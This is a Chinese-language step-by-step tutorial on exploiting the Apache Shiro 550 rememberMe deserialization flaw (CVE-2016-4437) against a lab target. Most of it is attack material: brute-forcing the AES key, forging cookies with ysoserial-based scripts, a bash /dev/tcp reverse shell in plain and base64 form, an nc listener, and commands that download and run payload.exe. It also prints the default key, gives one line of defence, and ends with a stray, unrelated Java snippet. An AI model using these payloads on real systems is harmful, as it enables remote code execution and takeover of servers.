Shiro 550 CVE-2016-4437
Shiro简介
Apache shiro是 java 的一个安全框架。相对于Spring Security 可能功能没有那么强大,但是实际工作中用不到那么多,因此小而简单的shiro就足够了
ini配置文件
存放一些初始数据
可以理解为是一个 IoC/DI 容器,但是区别在于它从一个根对象 securityManager 开始。
漏洞原理
在登录框有一个 remember me(记住密码)的功能,用户的登录信息加密后存储在remember me的Cookie中。攻击者可以使用shiro默认密钥伪造用户Cookie,触发java反序列化漏洞,进而在目标机器上执行任意命令
cookie处理流程:cookie值 – Base64解码 – AES解密 – 反序列化
用了AES加密的密钥,此密钥被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥
payload构造
payload – 序列化 – AES加密 – Base64加密 – 发送cookie
环境搭建
方法一:
service docker start
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
方法二:
使用vulhub(专门搭建靶场环境的项目),在docker环境下直接搭建(参考fastjson)
git clone https://github.com/vulhub/vulhub.git #下载vulhub
cd vulhub/shiro/CVE-2016-4437
docker-compose up -d #启动该漏洞的环境
漏洞验证
Shiro特征:
- 未登录的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
- 登录失败的话,不管有没有勾选RememberMe字段,返回包都会有 rememberMe= deleteMe 字段
- 不勾选RememberMe,登录成功的话,返回包set-Cookie里有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有RememberMe字段
- 勾选RememberMe,登录成功的话,返回包set-Cookie里有rememberMe=deleteMe字段,还会有remember 字段,之后的所有请求中Cookie都会有rememberMe字段
方法一:
生成一个cookie脚本
使用shiro_key.py脚本获取密钥:
python shiro_key.py -u url
得到AES的密钥,替换payload生成脚本中的key
抓包替换cookie验证
勾选密码,抓包,替换cookie为 脚本生成的payload.cookie,发送数据包:
若dnsloh收到结果,则漏洞存在
方法二:
登录时,点击记住密码,利用burpsuite抓包验证,看返回结果是否有rememberMe=deleteMe
如果没有cookie字段,我们可以手动进行添加 cookie:rememberMe=1
漏洞利用方法一
版本 <= 1.2.4
软件下载地址:https://github.com/feihong-cs/ShiroExploit-Deprecated
输入url
选择 dnslog.cn进行检测,然后点击下一步
漏洞利用方法二
基于 ysoserial-0.0.5-SNAPSHOT-all.jar
python 运行环境搭建
#需要导入包
pip install crypto
pip install pycryptodome
#安装完之后 python安装目录下的\Lib\site-packages,将crypto文件夹的名字改成Crypto。并检查Crypto中是否有Cipher 和 PublicKey
#若还有其他问题,请仔细检查源码中import引入 和 下载的包的名字对应关系,尤其是大小写问题
生成 cookie
首先看一下工具内容
payload.cookie是通过 shiro_poc.py 执行得到的
python shiro_poc.py "ping 192.168.1.106" #IP是目标机的IP地址
替换cookie验证漏洞
替换cookie的值
替换后点击发送
反弹shell
攻击者:192.168.1.105
目标机:192.168.1.106
一个加密网站:http://www.jackson-t.ca/runtime-exec-payloads.html
由于Shiro是用base64加密后再用AES加密在传输数据的,因此要进行加密
bash -i >& /dev/tcp/192.168.1.105/4444 0>&1 #192.168.1.105是另外一台kali(攻击者)的IP
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTA1LzQ0NDQgMD4mMQk=}|{base64,-d}|{bash,-i} #加密后的数据
重复上述操作 生成cookie 和 抓包替换cookie 的操作
python3 shiro_poc.py "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTA1LzQ0NDQgMD4mMQk=}|{base64,-d}|{bash,-i}" #在攻击者的主机(192.168.1.105)上执行此命令
NC设置监听
注意分清楚 控制端与被控端
kali(目标机)和 攻击者要角色反转,kali(目标机)上执行的命令要主动发给攻击者
nc -lvnp 6666 #攻击者(192.168.1.105)开启监听
如果目标服务器是windows的话,不能一键反弹shell,可以先在windows主机上 下载一个exe木马(前提主机上要有ysoserial.jar)
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'wget x.x.x.x/payload.exe -O payload.exe'
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 './payload.exe'
漏洞利用方式三
基于 ysoserial.jar
其实和方法二是一样的,都是基于 ysoserial.jar 这个jar包,只是python脚本有些不同
需要导入包pip install cryptopip install pycryptodome#安装完之后 python安装目录下的\Lib\site-packages,将crypto文件夹的名字改成Crypto。并检查Crypto中是否有Cipher 和 PublicKey#若还有其他问题,请仔细检查源码中import引入 和 下载的包的名字对应关系,尤其是大小写问题
python shiro_exploit.py -u http://192.168.1.106/login.jsp -t 3 -p "ping -c 2 ycat1b.dnslog.cn" -k "kPH+bIxk5D2deZiIxcaaaA=="
found gadget 表示有漏洞,利用 CommonsCollections2
利用的话,可以采用 JRMP的方式。也可以根据检测出来的 gadge来进行利用。
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'wget x.x.x.x/payload.exe -O payload.exe'java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 './payload.exe'
防御
不要使用默认的key
总结
Set<String> set = new HashSet<String>(); //set 是一个String类型的集合String s1 = "hello";String s2 = "world";set.add(s1);set.add(s2);
gadget 是什么,后续怎么利用
后续采用 JRMP的方式利用,可在设置监听,反弹shell。